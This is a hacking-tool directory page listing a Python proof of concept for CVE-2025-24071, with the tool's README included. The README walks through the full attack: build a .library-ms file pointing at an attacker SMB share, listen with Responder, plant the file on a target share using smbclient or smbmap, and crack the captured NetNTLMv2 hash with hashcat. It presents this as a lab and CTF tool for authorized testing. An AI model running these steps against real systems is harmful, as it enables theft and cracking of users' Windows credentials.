Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2025-24071 — Python PoC for CVE-2025-24071 that crafts a .library-ms file to coerce Windows Explorer into leaking NetNTLMv2 hashes over SMB for capture and cracking. | Kitploit
Tools/GitHubGitHub/daemon-404/poc-cve-2025-24071
Password AttacksVulnerability AnalysisExploitationNetwork SecurityCTFPenetration TestingRed TeamingLabs & Practice
GitHubdaemon-404/poc-cve-2025-24071

PoC-CVE-2025-24071

Python PoC for CVE-2025-24071 that crafts a .library-ms file to coerce Windows Explorer into leaking NetNTLMv2 hashes over SMB for capture and cracking.

View Repository
14h 1m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

❀ coerce-library

CVE-2025-24071 — .library-ms NTLM coercion (SMB / TAR method)

Theme: Rosé Pine Python: 3.9+ CVE: 2025-24071

Protocol: SMB Capture: NetNTLMv2 Use: Lab / CTF


❀ What it does

Asks for your attack IP and a file name, writes a .library-ms pointing at \\<IP>\share, and packs it into exploit.tar. When Explorer browses the folder the loose .library-ms lands in, it auto-resolves that UNC path and leaks the account's NTLMv2 to your listener — no click needed.

⚠️ The loose .library-ms is what fires — not the .tar. A .tar sitting on the share is inert; Explorer doesn't parse tarballs. You must get the .library-ms itself onto the share as a loose file. How you do that depends on the tool (below).


❀ Run it

root@kitploit:~
uv run coerce_library.py      # or: python3 coerce_library.py
root@kitploit:~
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms  ->  \\10.10.14.197\share
[+] packed into exploit.tar

❀ Then

1) Listen

root@kitploit:~
sudo responder -I tun0

2) Get the .library-ms onto a writable share

smbclient — upload the .tar, extract it server-side with tar x (drops the loose .library-ms next to it):

root@kitploit:~
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'

smbmap — has no extraction step, so upload the loose .library-ms directly (uploading the .tar here does nothing — it can't unpack it):

root@kitploit:~
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'

Confirm it landed loose on the share:

root@kitploit:~
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library

3) Crack the captured NTLMv2

root@kitploit:~
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

☧ authorized penetration testing / CTF / lab use only ☧

Download Tool